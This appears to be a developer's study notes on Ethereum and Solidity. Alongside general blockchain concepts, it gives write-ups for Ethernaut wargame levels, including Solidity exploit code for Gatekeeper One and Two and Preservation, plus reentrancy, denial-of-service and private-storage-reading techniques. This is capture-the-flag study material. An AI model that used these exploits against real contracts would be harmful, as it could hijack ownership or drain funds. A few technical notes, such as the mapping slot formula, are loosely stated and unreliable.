The general best practice is "multiplication before division" to prevent issues involving loss of precision. Starting Solidity 0.8.0, an overflow happening outside of an "unchecked" block will always result in the transaction reverting.
Alien Codex - when child contract has a variable in the same slot as a parent variable, the compiler tries to compact them into the same slot. Ex. Contract B is A and slot 0s in contract A { bool a; } and contract B { bool b; }. Bytecode then compiles slot 0 into 0x..aabb because bool = 1 byte.
Recovery - Obtain created contract address from etherscan and invoke selfdestruct
Use the Checks-Effects-Interactions pattern to prevent reentrancy vulnerabilities.
mapping
storage slots are calculated by keccak(key type + base)
.
Example:
contract SomeContract {
int256 a;
int256 b;
int256 c;
mapping(int256=>bool) public map;
...
map[1] = 2;
}
The storage slot would be calculated as keccak(1 + 3)
.
My transaction to emit Winner.
Multisig is a transaction that needs to be signed off by multiple parties. Think of it like a giant wallet with a bit of governance.
Gatekeeper Two - In gateTwo()
,
assembly { x := extcodesize(caller()) }
require(x == 0);
the assembly code is looking for the "size of the code at address caller()
". caller()
is the contract address of GateKeeperTwoSolution.sol. When contract is being created, code size (extcodesize
) is 0 so you just have to put everything inside the constructor()
.
In gateThree()
, using the formula (A ^ B = C) == (A ^ C = B), it is simple to figure out the key.
My code:
constructor() {
GatekeeperTwo gate = GatekeeperTwo(0x932cCdEE6d559B40F309F763f6a1d837C596402D);
bytes8 gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
gate.enter(gateKey);
}
Naught Coin - Just needed to use approve()
and transferFrom()
ERC20 methods.
Preservation - What I thought was Delegation all over again was riddle with bugs somehow. I don't know what happened. I still don't know exactly how it worked.
contract PreservationSolution {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
Preservation preservation = Preservation(0xe208Cb45150Ce7d28ebE2B3643ab004Ebf08eFe3);
function attack() public {
preservation.setFirstTime(uint(uint160(address(this))));
preservation.setFirstTime(1);
}
function setTime(uint _time) public {
owner = msg.sender;
}
}
Reentrance - Bad actor contract. Reentrancy attack calling withdraw again in receive()
.
Elevator - Make a contract "overriding" the method isLastFloor()
and have it return a toggling boolean.
Privacy - Similar to Vault with a few extra quick maffs. Read storage slot 5.
Gatekeeper One - Lots of bit manipulation. Calls enter()
over and over to brute force match gasleft()
.
function enter() public {
bytes8 gateKey = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
bool s = false;
uint i = 0;
while(!s) {
(s, ) = address(gate).call{ gas: i + (8191 * 5) }(abi.encodeWithSignature("enter(bytes8)", gateKey));
i += 1;
}
}
King - Create separate denial of service contract that sends sufficient eth to King contract without fallback/receive. Initially, I had payable(contract).call{ value: eth }("")
and was getting Warning: Return value of low-level calls not used.
I didn't think I needed to use the return values, but I actually did and was the cause for the transaction getting an out of gas error.
Fal1out - The "constructor" was actually just a function you could call to transfer ownership of the sender
Fallback - recieve()
function transferred ownership if msg.value > 0 && contributions[msg.sender] > 0
and you could satisfy contributions[msg.sender] > 0
with contribute()
CoinFlip - Block numbers are not randomized in uint256 blockValue = uint256(blockhash(block.number - 1));
. Call flip()
from another contract.
Telephone - Satisfy tx.origin != msg.sender
by calling transaction from another contract.
Token - Setting _value
to a number greater than the initial 20 causes an underflow in balances[msg.sender] - _value >= 0
. Solidity version >0.8 forces this to revert.
Delegation - call pwn()
with delegatecall()
. In console call contract.sendTransaction({ data:"dd365b8b" })
. d365b8b
is from the first 4 bytes of pwn()
in keccak256.
Force - transfer funds of another contract through selfdestruct(address)
Vault - Read contract storage slot 1 through eth.getStorageAt()
. Used Alchemy Composer.
Use storage
for persistence on the blockchain, memory
for temporary storage per transaction, and calldata
for arguments (also temporary).
memory
arrays do not have push or pop methods.
Structs in the ABI are defined as tuples.
Events and logs are stored on the blockchain in transaction receipts but they are not required for blockchain concensus. They are however verified by the blockchain since transaction receipt hashes are stored inside blocks.
Correct use: selfdestruct(payable(address))
The payable is there because some methods could protect against accidentally sending ether.
My "Winner" event from Alchemy University Week 4.
JUMP and JUMPI op codes are what makes the EVM Turing Complete. Allows for loops.
Node peer discovery algorithm is based on the kademlia protocol.
Stack Exchange link with more details.
Trie is pronounced "try." There are four tries hashes in Ethereum blocks: receipt, state, transaction, and storage trie.
Bitcoin nodes store merkle root hashes in LevelDB. Ethereum uses Patricia Merkle Trees which is a combination of Merkle + Radix trees.
You have to create a getter for getting values from mapping in a Struct. Hardhat doesn't recognize mappings in Structs.
You can destructure structs to get the values in Solidity. Link
When using upgradeable tokens, you can't use constructors and have to use the initialize() method.
Arrays always start at a new slot of storage
Bitcoin uses UTXO model to keep track of user and state/balances and Ethereum uses the Account model. UTXO in Bitcoin is like fake credits that allows you to do transactions but you don't really own it like Groupon or Amazon credits. UTXO is stateless.
Hashcash implements SHA-1 to reduce spam emails. Mozilla and Microsoft once utilized this method. The idea was to create a proof of work for an email so sending many emails would be CPU intensive. Hashcash was the inspiration for Satoshi Nakamoto's Bitcoin.
Video explanation. Used often in TLS handshake in HTTPS.
The ECDSA (Elliptic Curve Digital Signature Algorithm) secp256k1 is used by both Ethereum and Bitcoin. Wallet addresses are generated from the public key derived from secp256k1. For Bitcoin, it involves a checksum and base58 check and for Ethereum, it is the last 20 bytes of the hash. Base58 is to avoid confusing characters like 0 and O.
-
Volitions
Rollup and Validium hybrid.
-
Plasma
"A Plasma chain is a separate blockchain anchored to Ethereum Mainnet but executing transactions off-chain with its own mechanism for block validation. Plasma chains are sometimes referred to as "child" chains, essentially smaller copies of the Ethereum Mainnet. Plasma chains use fraud proofs (like optimistic rollups) to arbitrate disputes. Merkle trees enable the creation of an endless stack of these chains that can work to offload bandwidth from parent chains." Ethereum.org
-
Validiums
Enforces integrity of transactions using validity proofs. Executes transactions off-chain.
-
State/Payment Channels
Two or more users lock up funds in a contract and transact amongst each other in a trusted small circle. Only the end state is saved onto the chain.
-
Side Chains
Not technically a Layer 2. Runs parallel with Layer 1 but has own governance consensus with validators.
-
Rollups
Bundle up transactions and send as a batch.
-
Optimistic Rollups (ORs)
Batch transactions are valid by default. Transaction proposer (asserters) stake ETH and provide bond. Users can challenge authenticity. Verifiers check disputes and whoever is right gets rewarded.
-
Zero-Knowledge Rollups (ZKRs)
Batch transactions are bundled with a proof for authenticity. Can be expensive.
Unspent transaction output (UTXO) is the technical term for the amount of digital currency that remains after a cryptocurrency transaction.
Contracts are upgradable through proxy design patterns.
Gas-less transactions are achieveable through meta transactions. e.g. In OpenSea, a seller is able to put up an NFT for sale and the buyer pays for the NFT and the transaction costs.
Elliptic Curve Digital Signature Algorithm (ECDSA) is the signatures algorithm used by Ethereum and OpenZeppelin.
Ways to trigger the Fallback function:
- Calling a function that doesn’t exist inside the contract, or
- Calling a function without passing in required data, or
- Sending Ether without any data to the contract
Created a demo of vulnerabilities in smart contracts. Link1 Link2
Using ethers.provider.getStorageAt(), it's possible to read stack memory in blocks. Even private memory.
msg.sender is generally more superior to tx.origin.
Function modifiers use the same stack as the function on which they are put and counts as 1 of the 16 variables.
Some solidity gas optimization techniques/notes:
- Packing variables in storage into 256 bit sizes.
- SSTORE and SSLOAD are expensive OPCODEs so its more cost effective to save local variables.
- "Constant variables are replaced at compile time by their values, while immutable variables are replaced at deployment time... constant variables cannot make reference to the state of the blockchain nor call external contracts" (ie. block.number, address(this).balance, msg.value, gasleft()).
- Maps are usually more gas efficient because arrays include mapping with checking
struct Array{
mapping(uint => someType) items;
uint length;
}
Learned how to use Aave to create flash loan contracts and test with a forked polygon mainnet in hardhat. Link
World state is a map of addresses and account states. Contract accounts are comprised of balance, nonce, storage hash, and code hash. And Externally Owned Accounts (EOA) (ie. MetaMask or Coinbase wallets) just have balance and nonce.
There are two types of transactions: contract creation and sending messages. Sending messages are for ETH transfers and/or function calls.
EVM stack sizes are 32 bytes (256 bits) x 1024 and can only store 16 local variables.
Memory can only be read in 32 byte chunks. Similar to WORDs in CPUs.
Using The Graph to track events on RandomWinnerGame contract. The contract utilizes Chainlink VRF to randomly pick a winner from a pool of entrants.